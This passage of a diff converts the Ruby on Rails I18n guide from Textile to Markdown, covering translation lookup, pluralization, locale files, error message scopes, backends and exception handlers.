(+http://localhost:3000?locale=pirate+), you'll get: +And when you change the URL to pass the pirate locale (`http://localhost:3000?locale=pirate`), you'll get: -!images/i18n/demo_translated_pirate.png(rails i18n demo translated to pirate)! + NOTE: You need to restart the server when you add new locale files. -You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) +You may use YAML (`.yml`) or plain Ruby (`.rb`) files for storing your translations in SimpleStore. YAML is the preferred option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) -h4. Passing variables to translations +### Passing variables to translations You can use variables in the translation messages and pass their values from the view. -<ruby> +```erb # app/views/home/index.html.erb <%=t 'greet_username', :user => "Bill", :message => "Goodbye" %> +``` +```yaml # config/locales/en.yml en: greet_username: "%{message}, %{user}!" -</ruby> +``` -h4. Adding Date/Time Formats +### Adding Date/Time Formats -OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. +OK! Now let's add a timestamp to the view, so we can demo the **date/time localization** feature as well. To localize the time format you pass the Time object to `I18n.l` or (preferably) use Rails' `#l` helper. You can pick a format by passing the `:format` option -- by default the `:default` format is used. -<ruby> +```erb # app/views/home/index.html.erb <h1><%=t :hello_world %></h1> <p><%= flash[:notice] %></p <p><%= l Time.now, :format => :short %></p> -</ruby> +``` And in our pirate translations file let's add a time format (it's already there in Rails' defaults for English): -<ruby> +```ruby # config/locales/pirate.yml pirate: time: formats: short: "arrrround %H'ish" -</ruby> +``` So that would give you: -!images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)! + -TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails' defaults for your locale*. See the "rails-i18n repository at Github":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locales/+ directory, they will automatically be ready for use. +TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by **translating Rails' defaults for your locale**. See the [rails-i18n repository at Github](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for an archive of various locale files. When you put such file(s) in `config/locales/` directory, they will automatically be ready for use. -h4. Inflection Rules For Other Locales +### Inflection Rules For Other Locales -Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In +config/initializers/inflections.rb+, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit. +Rails 4.0 allows you to define inflection rules (such as rules for singularization and pluralization) for locales other than English. In `config/initializers/inflections.rb`, you can define these rules for multiple locales. The initializer contains a default example for specifying additional rules for English; follow that format for other locales as you see fit. -h4. Localized Views +### Localized Views -Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.) +Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in `app/views/books/index.html.erb` template. When you put a _localized variant_ of this template: `index.es.html.erb` in the same directory, Rails will render content in this template, when the locale is set to `:es`. When the locale is set to the default locale, the generic `index.html.erb` view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in `public`, etc.) You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them. -h4. Organization of Locale Files +### Organization of Locale Files When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you. -For example, your +config/locales+ directory could look like this: +For example, your `config/locales` directory could look like this: -<pre> +``` |-defaults |---es.rb |---en.rb @@ -442,21 +454,22 @@ For example, your +config/locales+ directory could look like this: |---navigation |-----es.rb |-----en.rb -</pre> +``` This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation. NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further: -<ruby> +```ruby # config/application.rb config.i18n.load_path += Dir[Rails.root.join('config', 'locales', '**', '*.{rb,yml}')] -</ruby> +``` -Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations. +Do check the [Rails i18n Wiki](http://rails-i18n.org/wiki) for list of tools available for managing translations. -h3. Overview of the I18n API Features +Overview of the I18n API Features +--------------------------------- You should have good understanding of using the i18n library now, knowing all necessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. @@ -468,112 +481,112 @@ Covered are features like these: * using safe HTML translations * localizing dates, numbers, currency, etc. -h4. Looking up Translations +### Looking up Translations -h5. Basic Lookup, Scopes and Nested Keys +#### Basic Lookup, Scopes and Nested Keys Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent: -<ruby> +```ruby I18n.t :message I18n.t 'message' -</ruby> +``` -The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key: +The `translate` method also takes a `:scope` option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key: -<ruby> +```ruby I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages] -</ruby> +``` -This looks up the +:record_invalid+ message in the Active Record error messages. +This looks up the `:record_invalid` message in the Active Record error messages. Additionally, both the key and scopes can be specified as dot-separated keys as in: -<ruby> +```ruby I18n.translate "activerecord.errors.messages.record_invalid" -</ruby> +``` Thus the following calls are equivalent: -<ruby> +```ruby I18n.t 'activerecord.errors.messages.record_invalid' I18n.t 'errors.messages.record_invalid', :scope => :active_record I18n.t :record_invalid, :scope => 'activerecord.errors.messages' I18n.t :record_invalid, :scope => [:activerecord, :errors, :messages] -</ruby> +``` -h5. Defaults +#### Defaults -When a +:default+ option is given, its value will be returned if the translation is missing: +When a `:default` option is given, its value will be returned if the translation is missing: -<ruby> +```ruby I18n.t :missing, :default => 'Not here' # => 'Not here' -</ruby> +``` -If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned. +If the `:default` value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned. -E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned: +E.g., the following first tries to translate the key `:missing` and then the key `:also_missing.` As both do not yield a result, the string "Not here" will be returned: -<ruby> +```ruby I18n.t :missing, :default => [:also_missing, 'Not here'] # => 'Not here' -</ruby> +``` -h5. Bulk and Namespace Lookup +#### Bulk and Namespace Lookup To look up multiple translations at once, an array of keys can be passed: -<ruby> +```ruby I18n.t [:odd, :even], :scope => 'errors.messages' # => ["must be odd", "must be even"] -</ruby> +``` Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with: -<ruby> +```ruby I18n.t 'activerecord.errors.messages' # => { :inclusion => "is not included in the list", :exclusion => ... } -</ruby> +``` -h5. "Lazy" Lookup +#### "Lazy" Lookup Rails implements a convenient way to look up the locale inside _views_. When you have the following dictionary: -<yaml> +```yaml es: books: index: title: "Título" -</yaml> +``` -you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot): +you can look up the `books.index.title` value **inside** `app/views/books/index.html.erb` template like this (note the dot): -<ruby> +```erb <%= t '.title' %> -</ruby> +``` -h4. Interpolation +### Interpolation -In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature. +In many cases you want to abstract your translations so that **variables can be interpolated into the translation**. For this reason the I18n API provides an interpolation feature. -All options besides +:default+ and +:scope+ that are passed to +#translate+ will be interpolated to the translation: +All options besides `:default` and `:scope` that are passed to `#translate` will be interpolated to the translation: -<ruby> +```ruby I18n.backend.store_translations :en, :thanks => 'Thanks %{name}!' I18n.translate :thanks, :name => 'Jeremy' # => 'Thanks Jeremy!' -</ruby> +``` -If a translation uses +:default+ or +:scope+ as an interpolation variable, an +I18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised. +If a translation uses `:default` or `:scope` as an interpolation variable, an `I18n::ReservedInterpolationKey` exception is raised. If a translation expects an interpolation variable, but this has not been passed to `#translate`, an `I18n::MissingInterpolationArgument` exception is raised. -h4. Pluralization +### Pluralization -In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar, "Japanese":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja, "Russian":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature. +In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ([Arabic](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ar), [Japanese](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ja), [Russian](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html#ru) and many more) have different grammars that have additional or fewer [plural forms](http://unicode.org/repos/cldr-tmp/trunk/diff/supplemental/language_plural_rules.html). Thus, the I18n API provides a flexible pluralization feature. -The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR: +The `:count` interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR: -<ruby> +```ruby I18n.backend.store_translations :en, :inbox => { :one => 'one message', :other => '%{count} messages' @@ -583,71 +596,74 @@ I18n.translate :inbox, :count => 2 I18n.translate :inbox, :count => 1 # => 'one message' -</ruby> +``` -The algorithm for pluralizations in +:en+ is as simple as: +The algorithm for pluralizations in `:en` is as simple as: -<ruby> +```ruby entry[count == 1 ? 0 : 1] -</ruby> +``` -I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero). +I.e. the translation denoted as `:one` is regarded as singular, the other is used as plural (including the count being zero). -If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised. +If the lookup for the key does not return a Hash suitable for pluralization, an `18n::InvalidPluralizationData` exception is raised. -h4. Setting and Passing a Locale +### Setting and Passing a Locale -The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+. +The locale can be either set pseudo-globally to `I18n.locale` (which uses `Thread.current` like, e.g., `Time.zone`) or can be passed as an option to `#translate` and `#localize`. -If no locale is passed, +I18n.locale+ is used: +If no locale is passed, `I18n.locale` is used: -<ruby> +```ruby I18n.locale = :de I18n.t :foo I18n.l Time.now -</ruby> +``` Explicitly passing a locale: -<ruby> +```ruby I18n.t :foo, :locale => :de I18n.l Time.now, :locale => :de -</ruby> +``` -The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this: +The `I18n.locale` defaults to `I18n.default_locale` which defaults to :`en`. The default locale can be set like this: -<ruby> +```ruby I18n.default_locale = :de -</ruby> +``` -h4. Using Safe HTML Translations +### Using Safe HTML Translations Keys with a '_html' suffix and keys named 'html' are marked as HTML safe. Use them in views without escaping. -<ruby> +```yaml # config/locales/en.yml en: welcome: <b>welcome!</b> hello_html: <b>hello!</b> title: html: <b>title!</b> +``` +```html+erb # app/views/home/index.html.erb <div><%= t('welcome') %></div> <div><%= raw t('welcome') %></div> <div><%= t('hello_html') %></div> <div><%= t('title.html') %></div> -</ruby> +``` -!images/i18n/demo_html_safe.png(i18n demo html safe)! + -h3. How to Store your Custom Translations +How to Store your Custom Translations +------------------------------------- -The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] +The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format.[^2] For example a Ruby Hash providing translations can look like this: -<ruby> +```ruby { :pt => { :foo => { @@ -655,47 +671,47 @@ For example a Ruby Hash providing translations can look like this: } } } -</ruby> +``` The equivalent YAML file would look like this: -<ruby> +```ruby pt: foo: bar: baz -</ruby> +``` -As you see, in both cases the top level key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz". +As you see, in both cases the top level key is the locale. `:foo` is a namespace key and `:bar` is the key for the translation "baz". -Here is a "real" example from the Active Support +en.yml+ translations YAML file: +Here is a "real" example from the Active Support `en.yml` translations YAML file: -<ruby> +```ruby en: date: formats: default: "%Y-%m-%d" short: "%b %d" long: "%B %d, %Y" -</ruby> +``` -So, all of the following equivalent lookups will return the +:short+ date format +"%B %d"+: +So, all of the following equivalent lookups will return the `:short` date format `"%B %d"`: -<ruby> +```ruby I18n.t 'date.formats.short' I18n.t 'formats.short', :scope => :date I18n.t :short, :scope => 'date.formats' I18n.t :short, :scope => [:date, :formats] -</ruby> +``` Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. -h4. Translations for Active Record Models +### Translations for Active Record Models -You can use the methods +Model.model_name.human+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names. +You can use the methods `Model.model_name.human` and `Model.human_attribute_name(attribute)` to transparently look up translations for your model and attribute names. For example when you add the following translations: -<ruby> +```ruby en: activerecord: models: @@ -704,11 +720,11 @@ en: user: login: "Handle" # will translate User attribute "login" as "Handle" -</ruby> +``` -Then +User.model_name.human+ will return "Dude" and +User.human_attribute_name("login")+ will return "Handle". +Then `User.model_name.human` will return "Dude" and `User.human_attribute_name("login")` will return "Handle". -h5. Error Message Scopes +#### Error Message Scopes Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. @@ -716,45 +732,45 @@ This gives you quite powerful means to flexibly adjust your messages to your app Consider a User model with a validation for the name attribute like this: -<ruby> +```ruby class User < ActiveRecord::Base validates :name, :presence => true end -</ruby> +``` -The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces: +The key for the error message in this case is `:blank`. Active Record will look up this key in the namespaces: -<ruby> +```ruby activerecord.errors.models.[model_name].attributes.[attribute_name] activerecord.errors.models.[model_name] activerecord.errors.messages errors.attributes.[attribute_name] errors.messages -</ruby> +``` Thus, in our example it will try the following keys in this order and return the first result: -<ruby> +```ruby activerecord.errors.models.user.attributes.name.blank activerecord.errors.models.user.blank activerecord.errors.messages.blank errors.attributes.name.blank errors.messages.blank -</ruby> +``` When your models are additionally using inheritance then the messages are looked up in the inheritance chain. For example, you might have an Admin model inheriting from User: -<ruby> +```ruby class Admin < User validates :name, :presence => true end -</ruby> +``` Then Active Record will look for messages in this order: -<ruby> +```ruby activerecord.errors.models.admin.attributes.name.blank activerecord.errors.models.admin.blank activerecord.errors.models.user.attributes.name.blank @@ -762,48 +778,49 @@ activerecord.errors.models.user.blank activerecord.errors.messages.blank errors.attributes.name.blank errors.messages.blank -</ruby> +``` This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes. -h5. Error Message Interpolation +#### Error Message Interpolation The translated model name, translated attribute name, and value are always available for interpolation. -So, for example, instead of the default error message +"can not be blank"+ you could use the attribute name like this : +"Please fill in your %{attribute}"+. - -* +count+, where available, can be used for pluralization if present: - -|_. validation |_.with option |_.message |_.interpolation| -| confirmation | - | :confirmation | -| -| acceptance | - | :accepted | -| -| presence | - | :blank | -| -| length | :within, :in | :too_short | count| -| length | :within, :in | :too_long | count| -| length | :is | :wrong_length | count| -| length | :minimum | :too_short | count| -| length | :maximum | :too_long | count| -| uniqueness | - | :taken | -| -| format | - | :invalid | -| -| inclusion | - | :inclusion | -| -| exclusion | - | :exclusion | -| -| associated | - | :invalid | -| -| numericality | - | :not_a_number | -| -| numericality | :greater_than | :greater_than | count| -| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count| -| numericality | :equal_to | :equal_to | count| -| numericality | :less_than | :less_than | count| -| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count| -| numericality | :odd | :odd | -| -| numericality | :even | :even | -| - -h5. Translations for the Active Record +error_messages_for+ Helper - -If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it. +So, for example, instead of the default error message `"can not be blank"` you could use the attribute name like this : `"Please fill in your %{attribute}"`. + +* `count`, where available, can be used for pluralization if present: + +| validation | with option | message | interpolation | +| ------------ | ------------------------- | ------------------------- | ------------- | +| confirmation | - | :confirmation | - | +| acceptance | - | :accepted | - | +| presence | - | :blank | - | +| length | :within, :in | :too_short | count | +| length | :within, :in | :too_long | count | +| length | :is | :wrong_length | count | +| length | :minimum | :too_short | count | +| length | :maximum | :too_long | count | +| uniqueness | - | :taken | - | +| format | - | :invalid | - | +| inclusion | - | :inclusion | - | +| exclusion | - | :exclusion | - | +| associated | - | :invalid | - | +| numericality | - | :not_a_number | - | +| numericality | :greater_than | :greater_than | count | +| numericality | :greater_than_or_equal_to | :greater_than_or_equal_to | count | +| numericality | :equal_to | :equal_to | count | +| numericality | :less_than | :less_than | count | +| numericality | :less_than_or_equal_to | :less_than_or_equal_to | count | +| numericality | :odd | :odd | - | +| numericality | :even | :even | - | + +#### Translations for the Active Record `error_messages_for` Helper + +If you are using the Active Record `error_messages_for` helper, you will want to add translations for it. Rails ships with the following translations: -<yaml> +```yaml en: activerecord: errors: @@ -812,70 +829,71 @@ en: one: "1 error prohibited this %{model} from being saved" other: "%{count} errors prohibited this %{model} from being saved" body: "There were problems with the following fields:" -</yaml> +``` -h4. Overview of Other Built-In Methods that Provide I18n Support +### Overview of Other Built-In Methods that Provide I18n Support Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview. -h5. Action View Helper Methods +#### Action View Helper Methods -* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations. +* `distance_of_time_in_words` translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See [datetime.distance_in_words](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51) translations. -* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the "datetime.prompts":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable. +* `datetime_select` and `select_month` use translated month names for populating the resulting select tag. See [date.month_names](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15) for translations. `datetime_select` also looks up the order option from [date.order](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18) (unless you pass the option explicitly). All date selection helpers translate the prompt using the translations in the [datetime.prompts](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83) scope if applicable. -* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope. +* The `number_to_currency`, `number_with_precision`, `number_to_percentage`, `number_with_delimiter`, and `number_to_human_size` helpers use the number format settings located in the [number](https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2) scope. -h5. Active Model Methods +#### Active Model Methods -* +model_name.human+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". +* `model_name.human` and `human_attribute_name` use translations for model names and attribute names if available in the [activerecord.models](https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29) scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". -* +ActiveModel::Errors#generate_message+ (which is used by Active Model validations but may also be used manually) uses +model_name.human+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". +* `ActiveModel::Errors#generate_message` (which is used by Active Model validations but may also be used manually) uses `model_name.human` and `human_attribute_name` (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". -* +ActiveModel::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "errors.format":https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4 (and which defaults to +"%{attribute} %{message}"+). +* `ActiveModel::Errors#full_messages` prepends the attribute name to the error message using a separator that will be looked up from [errors.format](https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4) (and which defaults to `"%{attribute} %{message}"`). -h5. Active Support Methods +#### Active Support Methods -* +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope. +* `Array#to_sentence` uses format settings as given in the [support.array](https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30) scope. -h3. Customize your I18n Setup +Customize your I18n Setup +------------------------- -h4. Using Different Backends +### Using Different Backends -For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format. +For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_[^3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format. That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend: -<ruby> +```ruby I18n.backend = Globalize::Backend::Static.new -</ruby> +``` You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend: -<ruby> +```ruby I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend) -</ruby> +``` -h4. Using Different Exception Handlers +### Using Different Exception Handlers The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur: -<ruby> +```ruby MissingTranslationData # no translation was found for the requested key InvalidLocale # the locale set to I18n.locale is invalid (e.g. nil) InvalidPluralizationData # a count option was passed but the translation data is not suitable for pluralization MissingInterpolationArgument # the translation expects an interpolation argument that has not been passed ReservedInterpolationKey # the translation contains a reserved interpolation variable name (i.e. one of: scope, default) UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path -</ruby> +``` -The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope. +The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for `MissingTranslationData` exceptions. When a `MissingTranslationData` exception has been caught, it will return the exception’s error message string containing the missing key/scope. The reason for this is that during development you'd usually want your views to still render even though a translation is missing. -In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with +#call+ method: +In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module or a class with `#call` method: -<ruby> +```ruby module I18n class JustRaiseExceptionHandler < ExceptionHandler def call(exception, locale, key, options) @@ -889,66 +907,71 @@ module I18n end I18n.exception_handler = I18n::JustRaiseExceptionHandler.new -</ruby> +``` -This would re-raise only the +MissingTranslationData+ exception, passing all other input to the default exception handler. +This would re-raise only the `MissingTranslationData` exception, passing all other input to the default exception handler. -However, if you are using +I18n::Backend::Pluralization+ this handler will also raise +I18n::MissingTranslationData: translation missing: en.i18n.plural.rule+ exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key: +However, if you are using `I18n::Backend::Pluralization` this handler will also raise `I18n::MissingTranslationData: translation missing: en.i18n.plural.rule` exception that should normally be ignored to fall back to the default pluralization rule for English locale. To avoid this you may use additional check for translation key: -<ruby> +```ruby if exception.is_a?(MissingTranslation) && key.to_s != 'i18n.plural.rule' raise exception.to_exception else super end -</ruby> +``` -Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+. +Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method `#t` (as well as `#translate`). When a `MissingTranslationData` exception occurs in this context, the helper wraps the message into a span with the CSS class `translation_missing`. -To do so, the helper forces +I18n#translate+ to raise exceptions no matter what exception handler is defined by setting the +:raise+ option: +To do so, the helper forces `I18n#translate` to raise exceptions no matter what exception handler is defined by setting the `:raise` option: -<ruby> +```ruby I18n.t :foo, :raise => true # always re-raises exceptions from the backend -</ruby> +``` -h3. Conclusion +Conclusion +---------- At this point you should have a good overview about how I18n support in Ruby on Rails works and are ready to start translating your project. -If you find anything missing or wrong in this guide, please file a ticket on our "issue tracker":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview. If you want to discuss certain portions or have questions, please sign up to our "mailing list":http://groups.google.com/group/rails-i18n. +If you find anything missing or wrong in this guide, please file a ticket on our [issue tracker](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview). If you want to discuss certain portions or have questions, please sign up to our [mailing list](http://groups.google.com/group/rails-i18n). -h3. Contributing to Rails I18n +Contributing to Rails I18n +-------------------------- I18n support in Ruby on Rails was introduced in the release 2.2 and is still evolving. The project follows the good Ruby on Rails development tradition of evolving solutions in plugins and real applications first, and only then cherry-picking the best-of-breed of most widely useful features for inclusion in the core. -Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our "mailing list":http://groups.google.com/group/rails-i18n!) +Thus we encourage everybody to experiment with new ideas and features in plugins or other libraries and make them available to the community. (Don't forget to announce your work on our [mailing list](http://groups.google.com/group/rails-i18n!)) -If you find your own locale (language) missing from our "example translations data":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale repository for Ruby on Rails, please "_fork_":https://github.com/guides/fork-a-project-and-submit-your-modifications the repository, add your data and send a "pull request":https://github.com/guides/pull-requests. +If you find your own locale (language) missing from our [example translations data](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) repository for Ruby on Rails, please [_fork_](https://github.com/guides/fork-a-project-and-submit-your-modifications) the repository, add your data and send a [pull request](https://github.com/guides/pull-requests). -h3. Resources +Resources +--------- -* "rails-i18n.org":http://rails-i18n.org - Homepage of the rails-i18n project. You can find lots of useful resources on the "wiki":http://rails-i18n.org/wiki. -* "Google group: rails-i18n":http://groups.google.com/group/rails-i18n - The project's mailing list. -* "Github: rails-i18n":https://github.com/svenfuchs/rails-i18n/tree/master - Code repository for the rails-i18n project. Most importantly you can find lots of "example translations":https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for Rails that should work for your application in most cases. -* "Github: i18n":https://github.com/svenfuchs/i18n/tree/master - Code repository for the i18n gem. -* "Lighthouse: rails-i18n":http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview - Issue tracker for the rails-i18n project. -* "Lighthouse: i18n":http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview - Issue tracker for the i18n gem. +* [rails-i18n.org](http://rails-i18n.org) - Homepage of the rails-i18n project. You can find lots of useful resources on the [wiki](http://rails-i18n.org/wiki). +* [Google group: rails-i18n](http://groups.google.com/group/rails-i18n) - The project's mailing list. +* [Github: rails-i18n](https://github.com/svenfuchs/rails-i18n/tree/master) - Code repository for the rails-i18n project. Most importantly you can find lots of [example translations](https://github.com/svenfuchs/rails-i18n/tree/master/rails/locale) for Rails that should work for your application in most cases. +* [Github: i18n](https://github.com/svenfuchs/i18n/tree/master) - Code repository for the i18n gem. +* [Lighthouse: rails-i18n](http://i18n.lighthouseapp.com/projects/14948-rails-i18n/overview) - Issue tracker for the rails-i18n project. +* [Lighthouse: i18n](http://i18n.lighthouseapp.com/projects/14947-ruby-i18n/overview) - Issue tracker for the i18n gem. -h3. Authors +Authors +------- -* "Sven Fuchs":http://www.workingwithrails.com/person/9963-sven-fuchs (initial author) -* "Karel Minařík":http://www.workingwithrails.com/person/7476-karel-mina-k +* [Sven Fuchs](http://www.workingwithrails.com/person/9963-sven-fuchs) (initial author) +* 